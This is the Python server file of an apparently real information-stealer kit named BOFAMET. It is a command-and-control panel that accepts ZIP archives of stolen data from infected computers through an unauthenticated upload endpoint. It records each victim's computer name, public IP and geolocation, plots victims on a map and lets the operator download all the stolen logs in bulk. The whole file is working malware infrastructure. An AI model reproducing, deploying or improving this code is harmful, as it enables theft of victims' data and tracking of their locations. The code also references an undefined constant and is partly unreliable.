bofamet-c2-stealer/BOFAMET_SERVER/server.py

from fastapi import FastAPI, UploadFile, File, Form, Request, HTTPException, Depends
from fastapi.responses import HTMLResponse, FileResponse, RedirectResponse, JSONResponse
from fastapi.templating import Jinja2Templates
from starlette.middleware.sessions import SessionMiddleware
from starlette import status
import uvicorn
import sqlite3
import os
import datetime
import zipfile
import shutil
import re 
import json
from typing import List, Dict
from starlette.background import BackgroundTasks
import sys
import subprocess
from fastapi.staticfiles import StaticFiles

NOHUP_LOG_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'nohup.out')

CONFIG_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'config.json')

VALID_USERNAME = None
VALID_PASSWORD = None
LISTEN_PORT = None
GLOBAL_SECRET_KEY = None

app_config = {
    'UPLOAD_FOLDER': 'uploads', 
    'DATABASE': 'c2_logs.db',
    'PORT': 8000 
}


if not os.path.exists(app_config['UPLOAD_FOLDER']):
    os.makedirs(app_config['UPLOAD_FOLDER'])

templates = Jinja2Templates(directory="templates")

failed_login_attempts = {}
blocked_ips = {}
MAX_LOGIN_ATTEMPTS = 5
BLOCK_DURATION_MINUTES = 5

failed_login_attempts_global = 0
panel_permanently_blocked = False

BLOCK_DURATION = datetime.timedelta(minutes=5)
MAX_GLOBAL_FAILED_ATTEMPTS = 100

def init_db():
    conn = sqlite3.connect(app_config['DATABASE'])
    cursor = conn.cursor()
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS logs (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            timestamp TEXT NOT NULL,
            ip_address TEXT,
            computer_name TEXT,
            system_info_text TEXT,
            file_path TEXT NOT NULL,
            public_ip TEXT, 
            latitude REAL, 
            longitude REAL  
        )
    ''')
    conn.commit()
    conn.close()

def load_server_config():

    global VALID_USERNAME, VALID_PASSWORD, LISTEN_PORT, GLOBAL_SECRET_KEY

    if os.path.exists(CONFIG_FILE):
        try:
            with open(CONFIG_FILE, 'r') as f:
                config_data = json.load(f)
                VALID_USERNAME = config_data.get('username')
                VALID_PASSWORD = config_data.get('password')
                LISTEN_PORT = config_data.get('port')
                GLOBAL_SECRET_KEY = bytes.fromhex(config_data.get('secret_key'))
                print("Server config loaded by server.py.")
                return True
        except (json.JSONDecodeError, KeyError, ValueError) as e:
            print(f"CRITICAL ERROR: Failed to load server configuration from {CONFIG_FILE}: {e}")
            print("Please run 'python Config_C2.py' to configure the server first!")
            sys.exit(1)
    else:
        print(f"CRITICAL ERROR: Configuration file '{CONFIG_FILE}' not found.")
        print("Please run 'python Config_C2.py' to configure the server first!")
        sys.exit(1)

load_server_config() 

app = FastAPI(docs_url=None, redoc_url=None, openapi_url=None)

app.mount("/static", StaticFiles(directory="static"), name="static")

if GLOBAL_SECRET_KEY:
    app.add_middleware(SessionMiddleware, secret_key=GLOBAL_SECRET_KEY)
else:
    print("CRITICAL ERROR: GLOBAL_SECRET_KEY not loaded. This should have been caught earlier.")
    sys.exit(1) 

app_config['PORT'] = LISTEN_PORT

init_db()

async def authenticate_user(request: Request):
    if panel_permanently_blocked:
        raise HTTPException(
            status_code=status.HTTP_403_FORBIDDEN,
            detail="Panel permanently blocked due to suspicious activity.",
        )

    if "authenticated" not in request.session or not request.session["authenticated"]:
        raise HTTPException(
            status_code=status.HTTP_303_SEE_OTHER,
            detail="Not authenticated",
            headers={"Location": "/login"}
        )
    
    current_ip = request.client.host
    session_ip = request.session.get('client_ip')

    if session_ip and session_ip != current_ip:
        request.session.clear()
        raise HTTPException(
            status_code=status.HTTP_303_SEE_OTHER,
            detail="IP address change detected, re-authentication required.",
            headers={"Location": "/login"}
        )

@app.get("/login", response_class=HTMLResponse)
async def login_page(request: Request):
    return templates.TemplateResponse("login.html", {"request": request})

@app.post("/login")
async def process_login(request: Request, username: str = Form(...), password: str = Form(...)):
    global failed_login_attempts_global, panel_permanently_blocked

    if panel_permanently_blocked:
        error_message = "Admin panel permanently blocked due to multiple suspicious login attempts. Server restart required."
        return templates.TemplateResponse("login.html", {"request": request, "error_message": error_message}, status_code=status.HTTP_403_FORBIDDEN)

    client_ip = request.client.host

    if client_ip in blocked_ips and datetime.datetime.now() < blocked_ips[client_ip]:
        remaining_time = blocked_ips[client_ip] - datetime.datetime.now()
        total_seconds = int(remaining_time.total_seconds())
        minutes = total_seconds // 60
        seconds = total_seconds % 60
        error_message = f"Your IP address is blocked. Remaining {minutes} minutes and {seconds} seconds."
        return templates.TemplateResponse("login.html", {"request": request, "error_message": error_message}, status_code=status.HTTP_403_FORBIDDEN)

    if username == VALID_USERNAME and password == VALID_PASSWORD:
        request.session['authenticated'] = True
        request.session['client_ip'] = client_ip
        if client_ip in failed_login_attempts:
            del failed_login_attempts[client_ip]
        failed_login_attempts_global = 0
        return RedirectResponse(url="/", status_code=status.HTTP_302_FOUND)
    else:
        failed_login_attempts_global += 1
        if failed_login_attempts_global >= MAX_GLOBAL_ATTEMPTS:
            panel_permanently_blocked = True
            error_message = "Admin panel permanently blocked due to excessive number of failed login attempts from different IP addresses."
            return templates.TemplateResponse("login.html", {"request": request, "error_message": error_message}, status_code=status.HTTP_403_FORBIDDEN)

        failed_login_attempts[client_ip] = failed_login_attempts.get(client_ip, 0) + 1

        if failed_login_attempts[client_ip] >= MAX_LOGIN_ATTEMPTS:
            blocked_until = datetime.datetime.now() + datetime.timedelta(minutes=BLOCK_DURATION_MINUTES)
            blocked_ips[client_ip] = blocked_until
            del failed_login_attempts[client_ip]
            error_message = f"Too many incorrect attempts. Your IP address is blocked for {BLOCK_DURATION_MINUTES} minutes."
            return templates.TemplateResponse("login.html", {"request": request, "error_message": error_message}, status_code=status.HTTP_403_FORBIDDEN)
        else:
            return templates.TemplateResponse("login.html", {"request": request, "error_message": "Invalid username or password."})

@app.get("/logout")
async def logout(request: Request):
    request.session.clear()
    return RedirectResponse(url="/login", status_code=status.HTTP_302_FOUND)

@app.get("/", response_class=HTMLResponse, dependencies=[Depends(authenticate_user)])
async def index(request: Request):
    conn = sqlite3.connect(app_config['DATABASE'])
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    cursor.execute("SELECT * FROM logs ORDER BY timestamp DESC")
    logs_raw = cursor.fetchall()
    conn.close()

    logs_for_template = []
    for log_entry in logs_raw:
        log_dict = dict(log_entry)
        
        path_parts = log_dict['file_path'].split(os.sep)
        
        uploads_index = -1
        try:
            uploads_index = path_parts.index(app_config['UPLOAD_FOLDER'])
        except ValueError:
            folder_name = path_parts[-2] if len(path_parts) >= 2 else ""
            file_name = path_parts[-1]
        else:
            if uploads_index + 2 < len(path_parts):
                folder_name = path_parts[uploads_index + 1]
                file_name = path_parts[uploads_index + 2]
            else:
                folder_name = ""
                file_name = path_parts[-1]


        log_dict['download_url'] = request.url_for('download_file', folder_name=folder_name, file_name=file_name)
        log_dict['file_name_display'] = file_name

        logs_for_template.append(log_dict)

    return templates.TemplateResponse("index.html", {"request": request, "logs": logs_for_template})

@app.get("/api/locations", response_model=List[Dict], dependencies=[Depends(authenticate_user)])
async def get_locations_for_map():
    conn = sqlite3.connect(app_config['DATABASE'])
    cursor = conn.cursor()
    cursor.execute("SELECT id, timestamp, computer_name, public_ip, latitude, longitude FROM logs WHERE latitude IS NOT NULL AND longitude IS NOT NULL")
    locations_raw = cursor.fetchall()
    conn.close()
    
    locations_data = []
    for loc_id, timestamp, computer_name, public_ip, lat, lon in locations_raw:
        locations_data.append({
            "id": loc_id,
            "timestamp": timestamp,
            "computer_name": computer_name,
            "public_ip": public_ip,
            "latitude": lat,
            "longitude": lon
        })
    return JSONResponse(content=locations_data)

@app.get("/api/server_logs_data", dependencies=[Depends(authenticate_user)])
async def get_server_logs_data():
    log_content = "No server logs found or 'nohup.out' file does not exist."
    try:
        if os.path.exists(NOHUP_LOG_FILE):
            with open(NOHUP_LOG_FILE, 'r', encoding='utf-8', errors='ignore') as f:
                log_content = f.read()
        else:
            log_content = f"Server log file '{NOHUP_LOG_FILE}' not found."
    except Exception as e:
        log_content = f"Error reading server log file: {e}"
        print(f"ERROR: Failed to read {NOHUP_LOG_FILE}: {e}")

    return JSONResponse(content={"log_content": log_content})

@app.get("/download_all_logs", dependencies=[Depends(authenticate_user)])
async def download_all_logs(background_tasks: BackgroundTasks):
    temp_zip_filename = f"BOFAMET_All_Logs_{datetime.datetime.now().strftime('%Y%m%d_%H%M%S')}.zip"
    temp_zip_path = os.path.join(app_config['UPLOAD_FOLDER'], temp_zip_filename)

    try:
        with zipfile.ZipFile(temp_zip_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
            for root, _, files in os.walk(app_config['UPLOAD_FOLDER']):
                for file in files:
                    if file.endswith('.zip') or file.endswith('.txt'):
                        full_path = os.path.join(root, file)
                        arcname = os.path.relpath(full_path, app_config['UPLOAD_FOLDER'])
                        zipf.write(full_path, arcname)
        
        background_tasks.add_task(os.remove, temp_zip_path)
        
        return FileResponse(temp_zip_path, media_type="application/zip", filename=temp_zip_filename, 
                            headers={"Content-Disposition": f"attachment; filename={temp_zip_filename}"})
    except Exception as e:
        print(f"Error creating or sending bulk archive: {e}")
        raise HTTPException(status_code=500, detail="Error creating log archive!")

@app.post("/upload")
async def upload_log(request: Request, file: UploadFile = File(...), system_info: str = Form(...), latitude: float = Form(0.0), longitude: float = Form(0.0)):
    if not file:
        return {"message": "No file provided"}, 400

    if file.filename == '':
        return {"message": "Empty file name"}, 400

    if not file.filename.lower().endswith('.zip'):
        raise HTTPException(
            status_code=status.HTTP_400_BAD_REQUEST,
            detail="Only ZIP archives are allowed!"
        )
    
    timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    client_ip = request.client.host

    computer_name_match = re.search(r"🖥️ <b>Computer:</b> <code>(.*?)</code>", system_info)
    public_ip_match = re.search(r"🌍 <b>Public IP:</b> <code>(.*?)</code>", system_info)
    
    computer_name = computer_name_match.group(1) if computer_name_match else "Unknown computer"
    public_ip = public_ip_match.group(1) if public_ip_match else "Unknown IP"

    conn = sqlite3.connect(app_config['DATABASE'])
    cursor = conn.cursor()

    cursor.execute(
        "SELECT id, file_path FROM logs WHERE computer_name = ? AND public_ip = ?",
        (computer_name, public_ip)
    )
    existing_log = cursor.fetchone()

    if existing_log:
        old_log_id, old_file_path = existing_log
        old_log_folder = os.path.dirname(old_file_path)

        cursor.execute("DELETE FROM logs WHERE id = ?", (old_log_id,))
        conn.commit()

        if os.path.exists(old_log_folder) and os.path.isdir(old_log_folder):
            try:
                shutil.rmtree(old_log_folder)
                print(f"Old log folder deleted: {old_log_folder}")
            except Exception as e:
                print(f"Error deleting old log folder {old_log_folder}: {e}")
        else:
            print(f"Old log folder not found or is not a directory: {old_log_folder}")


    log_folder_name = f"{public_ip}_{computer_name}_{datetime.datetime.now().strftime('%Y%m%d%H%M%S')}"
    log_folder_path = os.path.join(app_config['UPLOAD_FOLDER'], log_folder_name)
    os.makedirs(log_folder_path, exist_ok=True)

    file_save_path = os.path.join(log_folder_path, file.filename)
    with open(file_save_path, "wb") as buffer:
        shutil.copyfileobj(file.file, buffer)

    info_file_path = os.path.join(log_folder_path, "system_info.txt")
    with open(info_file_path, 'w', encoding='utf-8') as f:
        f.write(system_info)

    cursor.execute(
        "INSERT INTO logs (timestamp, ip_address, computer_name, system_info_text, file_path, public_ip, latitude, longitude) VALUES (?, ?, ?, ?, ?, ?, ?, ?)",
        (timestamp, client_ip, computer_name, system_info, file_save_path, public_ip, latitude, longitude)
    )
    conn.commit()
    conn.close()

    return {"message": "Log uploaded successfully!"}

@app.get("/download/{folder_name}/{file_name}", dependencies=[Depends(authenticate_user)])
async def download_file(folder_name: str, file_name: str):
    full_file_path = os.path.join(app_config['UPLOAD_FOLDER'], folder_name, file_name)
    if not os.path.exists(full_file_path):
        return {"message": "File not found!"}, 404
    
    return FileResponse(full_file_path, media_type="application/zip", filename=file_name)

if __name__ == '__main__':
    load_server_config() 
    
    app.SECRET_KEY = GLOBAL_SECRET_KEY
    app.add_middleware(SessionMiddleware, secret_key=app.SECRET_KEY)
    
    app_config['PORT'] = LISTEN_PORT 

    init_db() 

    print(f"Starting server on http://0.0.0.0:{app_config['PORT']}")
    uvicorn.run(app, host='0.0.0.0', port=app_config['PORT'])